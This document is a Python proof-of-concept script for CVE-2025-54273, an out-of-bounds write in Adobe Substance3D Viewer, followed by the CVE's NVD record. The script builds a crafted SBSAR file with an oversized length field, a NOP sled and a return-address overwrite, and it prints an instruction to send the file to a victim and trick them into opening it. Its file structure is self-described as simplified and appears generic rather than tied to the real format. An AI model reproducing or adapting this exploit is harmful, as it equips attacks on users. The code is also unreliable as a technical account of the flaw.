CVE-2025-54273

# CVE-2025-54273 - Adobe Substance3D Viewer Out-of-Bounds Write PoC # This PoC demonstrates the concept of crafting a malicious 3D file # that triggers an out-of-bounds write vulnerability in Substance3D Viewer <= 0.25.2 # # WARNING: This is for educational and authorized testing purposes only. # Unauthorized use of this code to attack systems is illegal. import struct import sys def create_malicious_sbsar_file(output_path): """ Create a malicious SBSAR file that triggers OOB write in Substance3D Viewer. The vulnerability exists in the file parser when processing specific data structures without proper bounds checking. """ # SBSAR file header (simplified) header = b'\x53\x42\x53\x41\x52' # Magic bytes "SBSAR" header += struct.pack('<I', 0x01000000) # Version header += struct.pack('<I', 0) # Flags # Craft a malicious data section that triggers OOB write # The parser allocates a fixed-size buffer but reads user-controlled length malicious_section = b'' # Section header - declaring a small buffer size malicious_section += struct.pack('<I', 0x00000010) # Section type malicious_section += struct.pack('<I', 64) # Allocated buffer size (64 bytes) malicious_section += struct.pack('<I', 0xFFFFFFFF) # Declared data size (overflow!) # Payload - shellcode placeholder (NOP sled + return address overwrite) payload = b'\x90' * 64 # NOP sled within buffer payload += b'\x41\x41\x41\x41' * 64 # Overflow data to corrupt adjacent memory payload += struct.pack('<Q', 0x7FFE12345678) # Overwrite return address malicious_section += payload # Combine and write with open(output_path, 'wb') as f: f.write(header + malicious_section) print(f"[*] Malicious file created: {output_path}") print("[*] Send this file to a victim and trick them into opening it with Substance3D Viewer") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <output_file.sbsar>") sys.exit(1) create_malicious_sbsar_file(sys.argv[1])

{"cve": {"id": "CVE-2025-54273", "sourceIdentifier": "[email protected]", "published": "2025-10-14T19:15:42.960", "lastModified": "2025-10-14T20:21:46.693", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Substance3D - Viewer versions 0.25.2 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:substance_3d_viewer:*:*:*:*:*:*:*:*", "versionEndIncluding": "0.25.2", "matchCriteriaId": "5757450C-E7A8-4082-B84C-E82930AD428F"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/substance3d-viewer/apsb25-99.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}